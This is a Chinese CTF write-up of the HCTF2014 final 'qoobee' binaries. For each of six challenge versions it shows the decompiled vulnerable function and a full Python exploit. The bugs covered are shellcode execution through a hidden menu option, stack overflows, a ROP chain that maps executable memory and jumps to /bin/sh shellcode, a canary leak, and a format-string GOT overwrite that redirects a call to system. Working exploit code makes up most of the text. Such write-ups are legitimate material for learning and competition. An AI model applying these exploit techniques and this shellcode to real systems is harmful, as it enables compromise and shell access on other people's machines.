整理题目的时候把HCTF2014 FINAL的qoobee全部做了一遍。 做的时候没有顺序,利用代码也没好好写。。。超级乱。。。看者见谅。。。

Qoobee

利用分析

其实程序还隐藏了一个-214号功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int \_\_cdecl fun214\_sub_80495A9()
{
FILE *v0; // ST34_4@7
int result; // eax@8
char v2; // \[sp+Bh\] \[bp-1Dh\]@3
signed int v3; // \[sp+Ch\] \[bp-1Ch\]@1
void *haystack; // \[sp+18h\] \[bp-10h\]@1
v3 = 0;
haystack = mmap((void *)0x80000000, 0x1000u, 7, 50, -1, 0);
printf("Oh! You can leave a message for author(the real QooBee) here: ");
do
{
if ( v3 > 150 )
break;
v2 = getchar();
if ( (\*\_\_ctype\_b\_loc())\[v2\] & 0x400 || (\*\_\_ctype\_b\_loc())\[v2\] & 0x800 )
*((_BYTE *)haystack + v3++) = v2;
}
while ( sub_8048CD0(v2) );
v0 = fopen("/tmp/qoobee/message_log", "a+");
fprintf(v0, "%sn", haystack);
fclose(v0);
if ( strstr((const char *)haystack, "ymkelwin") )
{
result = ((int (*)(void))haystack)();
}
else
{
printf("Received: %sn", haystack);
result = puts("Thank you!");
}
return result;
}

可以执行代码,需要构造全ascii的shellcode,字符串里要含有ymkelwin(yinmo kelwin?LEOC和kelwin不能说的秘密?)

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
'''
function -214
patched in qoobee2
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# mmap
payload += '-214n'
\# read shellcode to exec
payload += shellcode+'ymkelwinn'
\# print payload
io.write(payload)
io.interact()

Qoobee2

补上了上一个漏洞,去掉了执行代码,但是还是mmap了可执行的内存

利用分析

功能1中输入name存在溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int \_\_cdecl sub\_804970E(int a1)
{
int result; // eax@4
char v2\[12\]; // \[sp+1Ch\] \[bp-3Ch\]@1
int v3; // \[sp+28h\] \[bp-30h\]@1
int i; // \[sp+4Ch\] \[bp-Ch\]@1
puts("Now input the information for your QooBee Dragon:");
printf("QooBee Name: ");
\_\_isoc99\_scanf("%s", v2); // stack overflow
printf("QooBee Age: ");
\_\_isoc99\_scanf("%d", &v3);
for ( i = 0; v2\[i\]; ++i )
*(_BYTE *)(a1 + i + 20) = v2\[i\];
result = a1;
*(_DWORD *)(a1 + 32) = v3;
return result;
}

利用-214功能中的mmap开辟的可执行缓冲区执行shellcode。 写exp的时候用了ret2libc的方法,没有直接用上一种方法的shellcode

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
name stack overflow
patched in qoobee3
'''
from zio import *
target = './qoobee'
io = zio(target)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
\# shellcode tiny sh
shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
payload =''
\# function -214 mmap
payload += '-214n'
payload += '9999999n'
\# function 1
payload += '1n'
\# junk
payload += 'x00' + 'x90'*59 #2222
\# ebp
payload += l32(0x804b7e0)
\# eip read
payload += read_got
\# read ret to 0x80000004
payload += l32(0x80000004)
\# read args
payload += l32(0x0)
payload += l32(0x80000000)
payload += l32(0x80)
payload += 'n'
\# input age
payload += 'aaaan'
\# read shellcode to exec
payload += shellcode
io.write(payload)
io.interact()

Qoobee3

修补了上个漏洞

利用分析

打工输入指令过滤存在问题,可以写栈内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int \_\_cdecl fun5\_sub_8048F93(int a1)
{
int result; // eax@14
signed int i; // \[sp+0h\] \[bp-58h\]@2
signed int j; // \[sp+0h\] \[bp-58h\]@5
signed int k; // \[sp+0h\] \[bp-58h\]@9
int v5; // \[sp+4h\] \[bp-54h\]@1
unsigned int v6; // \[sp+8h\] \[bp-50h\]@1
int op; // \[sp+Ch\] \[bp-4Ch\]@8
int v8; // \[sp+10h\] \[bp-48h\]@1
int v9; // \[sp+14h\] \[bp-44h\]@1
int v10; // \[sp+18h\] \[bp-40h\]@1
int v11; // \[sp+1Ch\] \[bp-3Ch\]@1
int v12\[4\]; // \[sp+20h\] \[bp-38h\]@3
int v13\[4\]; // \[sp+30h\] \[bp-28h\]@3
char *format; // \[sp+40h\] \[bp-18h\]@1
int v15; // \[sp+44h\] \[bp-14h\]@1
int v16; // \[sp+48h\] \[bp-10h\]@1
int v17; // \[sp+4Ch\] \[bp-Ch\]@1
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v5 = 0;
v6 = 0;
format = "0. Moving bricks: $%d/1h (spend %d Vit)n";
v15 = (int)"1. Sell Meng: $%d/1h (spend %d Vit)n";
v16 = (int)"2. Capture the Flag: $%d/1h (spend %d Vit)n";
v17 = (int)"3. Pwnning: $%d/1h (spend %d Vit)n";
if ( a1 )
{
for ( i = 0; i <= 3; ++i )
{
v12\[i\] = get_randnum(75, 150);
v13\[i\] = get_randnum(50, 150);
}
for ( j = 0; j <= 3; ++j )
printf((&format)\[4 * j\], v12\[j\], v13\[j\]);
while ( 1 )
{
printf("Which one you want QooBee to work(99 to leave)? ");
op = safe_readint();
if ( op == 99 )
break;
printf("How long for this one? ");
*(&v8 + op) = safe_readint(); // write dowrod in stack
// patched in qoobee4
}
for ( k = 0; k <= 3; ++k )
{
v6 += v13\[k\] * *(&v8 + k);
v5 += v12\[k\] * *(&v8 + k);
}
if ( *(_DWORD *)(a1 + 16) < v6 )
{
result = puts("5555...Your QooBee's vit is too low..He need have a rest!");
}
else
{
*(_DWORD *)(a1 + 16) -= v6;
*(_DWORD *)a1 += v5;
printf("Your baby earned $%d..n", v5);
result = printf("Total Money: $%d !n", *(_DWORD *)a1);
}
}
else
{
result = puts("You need adopt a QooBee Dragon first!");
}
return result;
}

写入ROP链 ROP调用mmap read之后执行shellcode

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
'''
function 5 work
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.read_until('Your Choice:')
\# work
io.writeline('5')
payload = \[
\# ebp
l32(0x21000000),
\# eip jmp pr
pr,
\# a1
l32(0x80000000),
\# mmap
mmap_got,
\# p7r
p7r,
\# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
\# read
read_got,
\# jmp shellcode
l32(0x21000000),
\# read args
l32(0), l32(0x21000000), l32(0x100),
\]
print payload
i = 0
\# io.gdb_hint()
for dword in payload:
io.read_until('Which one you want QooBee to work(99 to leave)?')
io.writeline("%d" % (18+i))
io.read_until('How long for this one?')
io.writeline("%u" % struct.unpack('<i', dword))
i += 1
io.writeline('99')
io.writeline(shellcode2)
io.interact()

Qoobee4

利用分析

fun1的输入description栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int \_\_cdecl sub\_8048BC8(int a1)
{
int v1; // ST28_4@1
int v2; // ecx@1
int result; // eax@1
char src; // \[sp+1Eh\] \[bp-2Ah\]@1
int v5; // \[sp+3Ch\] \[bp-Ch\]@1
v5 = *MK\_FP(\_\_GS__, 20);
printf("Description(%d bytes): ", 30); // stack overflow
v1 = safe_read(&src, 100);
memcpy((void *)(a1 + 36), &src, v1);
*(_BYTE *)(a1 + v1 + 36) = 10;
*(_BYTE *)(a1 + v1 + 1 + 36) = 0;
result = *MK\_FP(\_\_GS__, 20) ^ v5;
if ( *MK\_FP(\_\_GS__, 20) != v5 )
\_\_stack\_chk_fail(v2);
return result;
}

先利用fun2的printf漏洞(见Qoobee6)读取canary 注意一次只读100 bytes,分两次执行

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
'''
description stack overflow
patched in qoobee4
'''
from zio import *
import struct
target = './qoobee'
io = zio(target, timeout=800000)
read_buf = l32(0x804c090)
call_edx = l32(0x0804887d)
str_flag = l32(0x08049F7E)
str_r = l32(0x08049F7C)
s = l32(0xffffce8d)
extern = l32(0x0804b7cc)
leave_ret = l32(0x08048a4f)
pr = l32(0x08048bc6)
ppr = l32(0x0804992a)
pppr = l32(0x08049929)
p7r = l32(0x08049925)
\# gen by alpha2 baseaddr is eax
shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"
\# shellcode2 tiny sh without x0b
shellcode2 = "x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
read_got = l32(0x08048660)
fopen_got = l32(0x08048780)
write_got = l32(0x08048760)
data = l32(0x0804B7A8)
bss = l32(0x0804b7c0)
memcpy_got = l32(0x08048690)
mmap_got =l32(0x08048730)
fun1 = l32(0x08048D08)
\# -214 mmap 0x80000000
io.writeline('-214')
io.writeline('hello')
\# adopt qoobee
io.writeline('1')
io.writeline('1')
io.writeline('1')
io.writeline('%11$08x')
\# show info
io.writeline('2')
io.read_until('Description: ')
canary = io.readline().strip()
print 'canary:',canary
canary = int(canary,16)
canary = l32(canary)
print 'canary:',canary
\# io.gdb_hint()
\# p1
io.writeline('1')
io.writeline('1')
io.writeline('1')
payload = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# mmap
mmap_got,
# p7r
p7r,
# mmap args
l32(0x21000000), l32(0x100), l32(7), l32(50), l32(-1), l32(0),
l32(0), #padding
# ret to fun1 again
fun1,
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload:
p += dword
print 'payload1:', len(p)
io.writeline(p)
\# p2
io.writeline('1')
io.writeline('1')
payload2 = \[
# ebp
l32(0x21000000),
# eip jmp pr
pr,
# a1
l32(0x80000000),
# read
read_got,
# jmp shellcode
l32(0x21000000),
# read args
l32(0), l32(0x21000000), l32(0x100),
\]
p = 'a' * 30 + canary + l32(0) + l32(0)
for dword in payload2:
p += dword
print 'payload2:', len(p)
io.writeline(p)
io.writeline(shellcode2)
io.interact()

Qoobee5

利用分析

比赛时候做的。。。和队友组合的代码,很乱很乱请见谅。。。 打游戏的方法。。利用printf漏洞刷钱。之后先升级,再通过石头剪刀布游戏的逻辑跑出flag…全部跑完要5分钟…… 比赛后面发现printf可以对age指定的任意内存写入……想想可以直接改等级然后打游戏会更快点……

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
#!/usr/bin/python2.7
\# -*- coding: utf-8 -*-
'''
Created on 2014年11月29日
@author: yf
'''
from zio import *
import re
import time
io = zio('./qoobee4')#, print\_write=False, print\_read=False)
\# io = zio(('10.11.12.13',1415), print\_write=False, print\_read=False)
lose_dic = \['scissor','rock','paper'\]
right_dic = \['paper', 'scissor','rock'\]
divset = \[17, 16, 18, 19, 21, 22,23,24,25,26,27,28,29,30, 32 , 33 , 34 , 35 , 35 , 36 , 37 , 38 , 39 , 40\]
rightset = \[\]
flag = ''
def losenum(modnum):
return (modnum-1+3)%3
\# def testdiv(modnum):
\# # while True:
\# io.read_until('Your Choice: ')
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# for i in divset:
\# io.writeline('%d' % i)
\# buf = io.read_until('n')
\# if 'lose' in buf:
\# io.writeline('7')
\# io.read_until('Select one:')
\# io.writeline('%d' % losenum(modnum))
\# io.read_until('number(0-100)? ')
\# else:
\# print i
\# pass
pattern = re.compile(r'(d+)!',re.M)
def checkround2():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('paper')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 2
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('tie')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('win')
return '$'
modnum = 0
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def checkround3():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('scissor')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 0
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('tie')
return '$'
modnum = 2
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'paper' in buf:
log('win')
return '$'
modnum = 1
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
def forlast2():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround3()
if c:
flag += c
log('flag:%s' % flag)
def forlast():
global flag
log('last round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround2()
if c=='$':
forlast2()
elif c:
flag += c
log('flag:%s' % flag)
def round():
global flag
for j in range(32):
log('new round')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
c = checkround()
if c=='$':
forlast()
elif c:
flag += c
log('flag:%s' % flag)
def checkround():
log('enter checkround')
rst = {}
io.read_until('Select one:')
io.writeline('rock')
buf = io.read_until('n')
if 'lose' in buf:
log('lose')
modnum = 1
io.writeline('0')
buf = io.read_until('Bye!')
log(buf)
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'rock' in buf:
log('tie')
modnum = 0
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('scissor')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
elif 'scissor' in buf:
log('win')
modnum = 2
if len(rightset)==31:
return '$'
io.read_until('Select one: ')
io.writeline('1234')
io.read_until('number(0-100)? ')
io.writeline('0')
io.read_until('Your Choice: ')
io.writeline('7')
for i in rightset:
log(i)
log(right_dic\[i\])
io.read_until('Select one:')
io.writeline(right_dic\[i\])
io.writeline('paper')
io.read_until('number(0-100)?')
io.writeline('0')
buf = io.read_until('n')
divnum = int(pattern.findall(buf)\[0\])
log('divnum:%d' % divnum)
r = divnum*3 + modnum
log ("char is %d,'%c'" % (r,chr(r)))
rightset.append(modnum)
log('out checkround')
return chr(r)
\# testdiv(modnum)
def p7():
\# io.read_until('Your Choice: ')
\# io.writeline('1')
\# io.read_until('QooBee Name: ')
\# io.writeline('1')
\# io.read_until('QooBee Age: ')
\# io.writeline('1')
\# io.read_until('Description(30 bytes): ')
\# io.writeline('1')
try:
round()
except TIMEOUT:
print flag
\# print 'end'
def main():
reg=re.compile(r'have (d+) donuts')
reg_level=re.compile(r'Exp: d+/(d+)')
time1 = time.time()
\# io = zio('./qoobee4')
io.read_until('Choice:')
io.writeline('1')
io.read_until('Name:')
io.writeline('1')
io.read_until('Age:')
io.writeline('1')
io.read_until('(30 bytes):')
io.writeline('%8888u%8888u%4u%4u%4u%4u%n')
total=0
Level=0
io.read_until('Choice:')
while Level<49:
while total<1000:
io.writeline('3')
r = io.read_until('?')
ind = r.index('Amount')
Amount = int(r\[ind+6:ind+8\])
io.writeline(str(Amount))
total+=Amount
r = io.read_until('Choice:')
if 'Sorry' in r:
total-=Amount
io.writeline('2')
io.read_until('Choice:')
while total>0:
if len(reg\_level.findall(r))>0 and 500 == int(reg\_level.findall(r)\[0\]):
print reg_level.findall(r)
Level=49
break
io.writeline('4')
r = io.read_until('?')
have=int(reg.findall(r)\[0\])
if have>=9:
have = 9
total-=have
io.writeline(str(have))
time2=time.time()
print time2-time1
p7()
f = open('flagset','a')
f.write(flag+' '+time.strftime('%H:%M:%S',time.localtime(time.time()))+'n')
f.close()
print 'thread over with flag:%s' % flag
if \_\_name\_\_ == '\_\_main\_\_':
main()

Qoobee6

利用分析

printf可以对age指定的任意地址写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int \_\_cdecl fun2\_sub_80497A8(int a1, int a2)
{
int v2; // ecx@2
int result; // eax@4
int v4; // \[sp+1Ch\] \[bp-Ch\]@1
v4 = *MK\_FP(\_\_GS__, 20);
if ( a1 )
{
puts("nYour QooBee Dragon Info:");
printf("Name: %sn", a1 + 20);
printf("Age: %dn", *(_DWORD *)(a1 + 32));
printf("Description: ");
printf((const char *)(a1 + 36)); // format string, write \[age dword\]
// nerver patched
printf("Level: %dnMoney: $%dn", *(\_BYTE *)(a1 + 8), *(\_DWORD *)a1);
printf("Donuts: %dn", *(_DWORD *)(a1 + 4));
printf("Exp: %d/%dn", *(_DWORD *)(a1 + 12), a2);
printf("Vit: %d/%dn", *(_DWORD *)(a1 + 16), 0x1F4u);
}
else
{
puts("You need adopt a QooBee Dragon first!");
}
result = *MK\_FP(\_\_GS__, 20) ^ v4;
if ( *MK\_FP(\_\_GS__, 20) != v4 )
\_\_stack\_chk_fail(v2);
return result;
}

读plt获得printf函数的地址 通过给定libc.so偏移获取system地址 将system替换plt的mmap函数

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
'''
printf format string attack
not patched
'''
from libformatstr import *
from zio import *
import struct
io = zio('./qoobee',timeout=8000000,print_write=COLORED(REPR))
\# replaced function
printf\_got\_plt = 0x0804B74C
mmap\_got\_plt = 0x0804B77C
\# in my system
\# printf 0x0004d1f0
\# system 0x00040100
offset\_printf\_system = -0xd0f0
def leak_dword(addr):
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline('%.4s')
io.writeline('2')
io.read_until('Description: ')
plt = io.read(4)
log('addr %08x:%s' % (addr,hex(struct.unpack('<I', plt)\[0\])), color='red')
return plt
def get\_printf\_addr():
rst = struct.unpack('<I',leak\_dword(printf\_got_plt))\[0\]
log('printf_plt:%s' % hex(rst), color='red')
return rst
def set_dword(addr, dword):
if dword == 0:
payload = '%n'
else:
payload = '%0'+str(dword)+'x'+'%1$n'
io.writeline('1')
io.writeline('1')
io.writeline(str(addr))
io.writeline(payload)
io.writeline('2')
if \_\_name\_\_ == '\_\_main\_\_':
io.writeline('-214')
io.writeline('sh')
got_plt = ""
printf\_plt = get\_printf_addr()
system\_addr = printf\_plt + offset\_printf\_system
got\_plt += l32(system\_addr)
log('system\_addr:%s' % hex(system\_addr), color='red')
io.gdb_hint()
i = 0
for c in got_plt:
log('set %02x:%u' % (ord(c),struct.unpack('<B', c)\[0\]), color='red')
set\_dword(mmap\_got_plt+i, struct.unpack('<B', c)\[0\])
i += 1
io.writeline('-214')
io.interact()